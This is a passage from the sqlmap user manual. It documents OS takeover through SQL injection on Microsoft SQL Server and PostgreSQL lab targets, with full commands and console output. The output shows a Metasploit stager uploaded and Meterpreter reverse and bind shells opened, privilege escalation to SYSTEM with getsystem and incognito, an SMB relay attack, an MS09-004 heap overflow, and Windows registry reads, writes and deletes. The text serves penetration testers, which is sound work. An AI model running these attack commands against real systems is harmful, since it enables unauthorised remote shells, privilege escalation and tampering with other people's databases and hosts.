<A HREF="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx">MS10-015</A>) or via
|
|
<A HREF="http://www.argeniss.com/research/TokenKidnapping.pdf">Windows Access Tokens kidnapping</A> by using Meterpreter's
|
|
<A HREF="http://sourceforge.net/projects/incognito/">incognito</A> extension.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> running as
|
|
<CODE>NETWORK SERVICE</CODE> on the target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
|
|
--os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
|
|
|
|
[...]
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:52] [INFO] testing if current user is DBA
|
|
[hh:mm:52] [INFO] retrieved: 1
|
|
[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
|
|
[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
|
|
[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
> 1
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [44780]
|
|
[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload
|
|
that can be used to escalate privileges, either via 'incognito' extension or via
|
|
'getsystem' command
|
|
which payload encoding do you want to use?
|
|
[1] No Encoder
|
|
[2] Alpha2 Alphanumeric Mixedcase Encoder
|
|
[3] Alpha2 Alphanumeric Uppercase Encoder
|
|
[4] Avoid UTF8/tolower
|
|
[5] Call+4 Dword XOR Encoder
|
|
[6] Single-byte XOR Countdown Encoder
|
|
[7] Variable-length Fnstenv/mov Dword XOR Encoder
|
|
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
|
|
[9] Non-Alpha Encoder
|
|
[10] Non-Upper Encoder
|
|
[11] Polymorphic XOR Additive Feedback Encoder (default)
|
|
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
|
|
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
|
|
>
|
|
[hh:mm:53] [INFO] creation in progress ..... done
|
|
[hh:mm:58] [INFO] compression in progress . done
|
|
[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
|
|
[hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:44780
|
|
[*] Starting the payload handler...
|
|
[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
|
|
|
|
meterpreter >
|
|
[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which
|
|
tries different techniques, including kitrap0d
|
|
[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you
|
|
want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not
|
|
success to elevate privileges
|
|
Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
|
|
meterpreter > ...got system (via technique 4).
|
|
meterpreter >
|
|
Delegation Tokens Available
|
|
========================================
|
|
NT AUTHORITY\LOCAL SERVICE
|
|
NT AUTHORITY\NETWORK SERVICE
|
|
NT AUTHORITY\SYSTEM
|
|
W2K3DEV\Administrator
|
|
W2K3DEV\IUSR_W2K3STENSP0
|
|
W2K3DEV\postgres
|
|
|
|
Impersonation Tokens Available
|
|
========================================
|
|
NT AUTHORITY\ANONYMOUS LOGON
|
|
|
|
meterpreter > Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > exit
|
|
|
|
[hh:mm:52] [INFO] cleaning up the database management system
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>One click prompt for an out-of-band shell, meterpreter or VNC</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-os-smbrelay</CODE>, <CODE>-</CODE><CODE>-priv-esc</CODE> and <CODE>-</CODE><CODE>-msf-path</CODE></P>
|
|
|
|
<P>If the back-end database management system runs on Windows as
|
|
<CODE>Administrator</CODE> and the system is not patched against Microsoft
|
|
Security Bulletin
|
|
<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx">MS08-068</A>, sqlmap can abuse the universal naming convention (UNC)
|
|
feature within any database management system to force the database server
|
|
to initiate a SMB connection with the attacker host, then perform a SMB
|
|
authentication relay attack in order to establish a high-privileged
|
|
<B>out-of-band TCP stateful channel</B> between the attacker host and
|
|
the target database server.
|
|
sqlmap relies on
|
|
<A HREF="http://metasploit.com/framework">Metasploit</A>'s SMB relay exploit to perform this attack.
|
|
You need to run sqlmap as a privileged user (e.g. <B>root</B>) if you
|
|
want to perform a SMB relay attack because it will need to listen on a
|
|
user-specified SMB TCP port for incoming connection attempts.</P>
|
|
|
|
<P>Note that this feature is not supported by sqlmap running on Windows
|
|
platform because it relies on Metasploit's <CODE>msfpayload</CODE> which is
|
|
not fully working on Windows.</P>
|
|
|
|
<P>This technique is detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> running as
|
|
<CODE>Administrator</CODE> on the target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
|
|
|
|
[...]
|
|
[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often
|
|
Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not
|
|
send the NTLM session hash when connecting to a SMB service
|
|
[hh:mm:16] [INFO] which connection type do you want to use?
|
|
[1] Bind TCP (default)
|
|
[2] Bind TCP (No NX)
|
|
[3] Reverse TCP
|
|
[4] Reverse TCP (No NX)
|
|
> 1
|
|
[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
|
|
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
|
|
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
|
|
[hh:mm:16] [INFO] which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
> 1
|
|
[hh:mm:16] [INFO] which SMB port do you want to use?
|
|
[1] 139/TCP (default)
|
|
[2] 445/TCP
|
|
> 1
|
|
[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..
|
|
|
|
_ _ _ _
|
|
| | | | (_) |
|
|
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
|
|
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
|
|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|
|
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
|
|
| |
|
|
|_|
|
|
|
|
|
|
=[ msf v3.3-dev
|
|
+ -- --=[ 392 exploits - 234 payloads
|
|
+ -- --=[ 20 encoders - 7 nops
|
|
=[ 168 aux
|
|
|
|
resource> use windows/smb/smb_relay
|
|
resource> set SRVHOST 172.16.213.161
|
|
SRVHOST => 172.16.213.161
|
|
resource> set SRVPORT 139
|
|
SRVPORT => 139
|
|
resource> set PAYLOAD windows/meterpreter/bind_tcp
|
|
PAYLOAD => windows/meterpreter/bind_tcp
|
|
resource> set LPORT 4907
|
|
LPORT => 4907
|
|
resource> set RHOST 172.16.213.131
|
|
RHOST => 172.16.213.131
|
|
resource> exploit
|
|
[*] Exploit running as background job.
|
|
msf exploit(smb_relay) >
|
|
[*] Started bind handler
|
|
[*] Server started.
|
|
[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
|
|
Service Pack 2 LM:
|
|
[*] Sending Access Denied to 172.16.213.131:3242 \
|
|
[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
|
|
Server 2003 3790 Service Pack 2 LM:
|
|
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
|
|
[*] AUTHENTICATED as W2K3DEV\Administrator...
|
|
[*] Connecting to the ADMIN$ share...
|
|
[*] Regenerating the payload...
|
|
[*] Uploading payload...
|
|
[*] Created \wELRmcmd.exe...
|
|
[*] Connecting to the Service Control Manager...
|
|
[*] Obtaining a service manager handle...
|
|
[*] Creating a new service...
|
|
[*] Closing service handle...
|
|
[*] Opening service...
|
|
[*] Starting the service...
|
|
[*] Removing the service...
|
|
[*] Closing service handle...
|
|
[*] Deleting \wELRmcmd.exe...
|
|
[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
|
|
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
|
|
[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
|
|
Service Pack 2 LM:
|
|
[*] Sending Access Denied to 172.16.213.131:3244 \
|
|
[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
|
|
Server 2003 3790 Service Pack 2 LM:
|
|
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
|
|
[*] AUTHENTICATED as W2K3DEV\Administrator...
|
|
[*] Ignoring request from 172.16.213.131, attack already in progress.
|
|
[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
|
|
[*] Sending stage (718336 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
|
|
|
|
Active sessions
|
|
===============
|
|
|
|
Id Description Tunnel
|
|
-- ----------- ------
|
|
1 Meterpreter 172.16.213.161:51813 -> 172.16.213.131:4907
|
|
|
|
msf exploit(smb_relay) > [*] Starting interaction with 1...
|
|
|
|
meterpreter > [-] The 'priv' extension has already been loaded.
|
|
meterpreter > getuid
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
meterpreter > exit
|
|
|
|
[*] Meterpreter session 1 closed.
|
|
msf exploit(smb_relay) > exit
|
|
|
|
[*] Server stopped.
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Database stored procedure heap-based buffer overflow exploit</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-os-bof</CODE>, <CODE>-</CODE><CODE>-priv-esc</CODE> and <CODE>-</CODE><CODE>-msf-path</CODE></P>
|
|
|
|
<P>If the back-end database management system is Microsoft SQL Server not
|
|
patched against Microsoft Security Bulletin
|
|
<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx">MS09-004</A>, sqlmap can exploit the heap-based buffer overflow
|
|
affecting <CODE>sp_replwritetovarbin</CODE> stored procedure in order to
|
|
establish an <B>out-of-band TCP stateful channel</B> between the
|
|
attacker host and the target database server.
|
|
sqlmap has its own exploit to trigger the vulnerability, but it relies on
|
|
<A HREF="http://metasploit.com/framework">Metasploit</A> to
|
|
generate the shellcode used within the exploit.</P>
|
|
|
|
<P>Note that this feature is not supported by sqlmap running on Windows
|
|
platform because it relies on Metasploit's <CODE>msfcli</CODE> which is not
|
|
available for Windows.</P>
|
|
|
|
<P>This technique is detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> and in the
|
|
slide deck
|
|
<A HREF="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">Expanding the control over the operating system from the database</A>.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
|
|
--os-bof -v 1 --msf-path ~/software/metasploit
|
|
|
|
[...]
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin'
|
|
stored procedure heap-based buffer overflow (MS09-004)
|
|
[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
|
|
[hh:mm:56] [INFO] retrieved: 1
|
|
[hh:mm:58] [INFO] retrieved: 1
|
|
[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
|
|
[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode
|
|
which connection type do you want to use?
|
|
[1] Reverse TCP: Connect back from the database host to this machine (default)
|
|
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
|
|
between the specified and 65535
|
|
[3] Bind TCP: Listen on the database host for a connection
|
|
>
|
|
which is the local address? [172.16.213.1]
|
|
which local port number do you want to use? [21380]
|
|
which payload do you want to use?
|
|
[1] Meterpreter (default)
|
|
[2] Shell
|
|
[3] VNC
|
|
>
|
|
which payload encoding do you want to use?
|
|
[1] No Encoder
|
|
[2] Alpha2 Alphanumeric Mixedcase Encoder
|
|
[3] Alpha2 Alphanumeric Uppercase Encoder
|
|
[4] Avoid UTF8/tolower
|
|
[5] Call+4 Dword XOR Encoder
|
|
[6] Single-byte XOR Countdown Encoder
|
|
[7] Variable-length Fnstenv/mov Dword XOR Encoder
|
|
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
|
|
[9] Non-Alpha Encoder
|
|
[10] Non-Upper Encoder
|
|
[11] Polymorphic XOR Additive Feedback Encoder (default)
|
|
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
|
|
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
|
|
>
|
|
[hh:mm:16] [INFO] creation in progress .... done
|
|
[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
|
|
[*] Please wait while we load the module tree...
|
|
[*] Started reverse handler on 172.16.213.1:21380
|
|
[*] Starting the payload handler...
|
|
[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
|
|
[*] Sending stage (748032 bytes)
|
|
[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
|
|
|
|
meterpreter > Loading extension espia...success.
|
|
meterpreter > Loading extension incognito...success.
|
|
meterpreter > Loading extension priv...success.
|
|
meterpreter > Loading extension sniffer...success.
|
|
meterpreter > Computer: W2K3DEV
|
|
OS : Windows .NET Server (Build 3790, Service Pack 2).
|
|
Arch : x86
|
|
Language: en_US
|
|
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
|
|
meterpreter > ipconfig
|
|
|
|
MS TCP Loopback interface
|
|
Hardware MAC: 00:00:00:00:00:00
|
|
IP Address : 127.0.0.1
|
|
Netmask : 255.0.0.0
|
|
|
|
|
|
|
|
VMware Accelerated AMD PCNet Adapter #2
|
|
Hardware MAC: 00:0c:29:86:69:1b
|
|
IP Address : 172.16.213.128
|
|
Netmask : 255.255.255.0
|
|
|
|
|
|
meterpreter > exit
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.11">5.11</A> <A HREF="#toc5.11">Windows registry access</A>
|
|
</H2>
|
|
|
|
<P>It is possible to access Windows registry when the back-end
|
|
database management system is either MySQL, PostgreSQL or
|
|
Microsoft SQL Server, and when the underlying database layer
|
|
supports stacked SQL queries. Also, session user has to have
|
|
the needed privileges to access it.</P>
|
|
|
|
<H3>Read a Windows registry key value</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-reg-read</CODE></P>
|
|
|
|
<P>Using this option you can read registry key values.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:15] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:15] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:23] [INFO] retrieved: 1
|
|
[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:23] [INFO] testing if current user is DBA
|
|
[hh:mm:23] [INFO] retrieved: 1
|
|
[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
|
|
[hh:mm:23] [INFO] retrieved: 0
|
|
[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:24] [INFO] retrieved: 0
|
|
[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
|
|
[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
|
|
CurrentVersion]
|
|
which registry key value do you want to read? [ProductName]
|
|
[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
|
|
Windows NT\CurrentVersion\ProductName'
|
|
[hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP
|
|
Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<H3>Write a Windows registry key value</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-reg-add</CODE></P>
|
|
|
|
<P>Using this option you can write registry key values.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:20] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:30] [INFO] testing if current user is DBA
|
|
[hh:mm:30] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:30] [INFO] retrieved: 0
|
|
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
|
|
which registry key value do you want to write? Test
|
|
which registry key value data do you want to write? 1
|
|
which registry key value data-type is it? [REG_SZ] REG_DWORD
|
|
[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
|
|
with data '1'. This will work only if the user running the database process has privileges
|
|
to modify the Windows registry.
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<H3>Delete a Windows registry key</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-reg-del</CODE></P>
|
|
|
|
<P>Using this option you can delete registry keys.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
|
|
|
|
[...]
|
|
web server operating system: Windows
|
|
web application technology: PHP 5.3.1, Apache 2.2.14
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:20] [INFO] retrieved: 8.4.2,
|
|
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:30] [INFO] testing if current user is DBA
|
|
[hh:mm:30] [INFO] retrieved: 1
|
|
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
|
|
[hh:mm:30] [INFO] retrieved: 0
|
|
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
|
|
which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
|
|
which registry key value do you want to delete? Test
|
|
are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
|
|
sqlmap\Test? [y/N] y
|
|
[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'.
|
|
This will work only if the user running the database process has privileges to modify the
|
|
Windows registry.
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Auxiliary registry switches</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-reg-key</CODE>, <CODE>-</CODE><CODE>-reg-value</CODE>,
|
|
<CODE>-</CODE><CODE>-reg-data</CODE> and <CODE>-</CODE><CODE>-reg-type</CODE></P>
|
|
|
|
<P>These switches can be used to provide data needed for proper running of
|
|
options <CODE>-</CODE><CODE>-reg-read</CODE>, <CODE>-</CODE><CODE>-reg-add</CODE> and
|
|
<CODE>-</CODE><CODE>-reg-del</CODE>. So, instead of providing registry key
|
|
information when asked, you can use them at command prompt as program
|
|
arguments.</P>
|
|
|
|
<P>With <CODE>-</CODE><CODE>-reg-key</CODE> option you specify used windows
|
|
registry key path, with <CODE>-</CODE><CODE>-reg-value</CODE> value item
|
|
name inside provided key, with <CODE>-</CODE><CODE>-reg-data</CODE> value
|
|
data, while with <CODE>-</CODE><CODE>-reg-type</CODE> option you specify
|
|
type of the value item.</P>
|
|
|
|
<P>So, another way of running example from option
|
|
<CODE>-</CODE><CODE>-reg-add</CODE> could be:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \
|
|
--reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<H2><A NAME="ss5.12">5.12</A> <A HREF="#toc5.12">Miscellaneous</A>
|
|
</H2>
|
|
|
|
<H3>Session file: save and resume all data retrieved</H3>
|
|
|
|
<P>Option: <CODE>-s</CODE></P>
|
|
|
|
<P>By default sqlmap logs all queries and their output into a text file while
|
|
performing whatever request, both in blind SQL injection and in inband SQL
|
|
injection.
|
|
This is useful if you stop the injection and resume it after some time.</P>
|
|
|
|
<P>The default session file is <CODE>output/hostname/session</CODE>, but you can
|
|
change its path with the <CODE>-s</CODE> option.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 2 -s "sqlmap.log"
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
[hh:mm:02] [DEBUG] query: VERSION()
|
|
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
|
|
[hh:mm:03] [ERROR] user aborted
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, I stopped the injection with <CODE>CTRL-C</CODE> while
|
|
retrieving the PostgreSQL banner and logged the session to text file
|
|
<CODE>sqlmap.log</CODE>.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ cat sqlmap.log
|
|
|
|
[hh:mm:00 MM/DD/YY]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
|
|
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
|
|
on i486-pc-
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, all queries performed and their output have been logged to
|
|
the session file in real time while performing the injection.</P>
|
|
|
|
<P>The session file has a structure as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
[hh:mm:ss MM/DD/YY]
|
|
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Performing the same request now, sqlmap resumes all information already
|
|
retrieved then calculates the query length, in the example
|
|
<CODE>VERSION()</CODE>, and resumes the injection from the last character
|
|
retrieved to the end of the query output.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 2 -s "sqlmap.log"
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
|
|
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
|
|
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
|
|
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
|
|
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
|
|
[hh:mm:03] [INFO] testing connection to the target url
|
|
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:03] [INFO] retrieving the length of query output
|
|
[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
|
|
[hh:mm:03] [INFO] retrieved: 98
|
|
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
|
|
[hh:mm:03] [INFO] retrieving pending 70 query output characters
|
|
[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
|
|
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
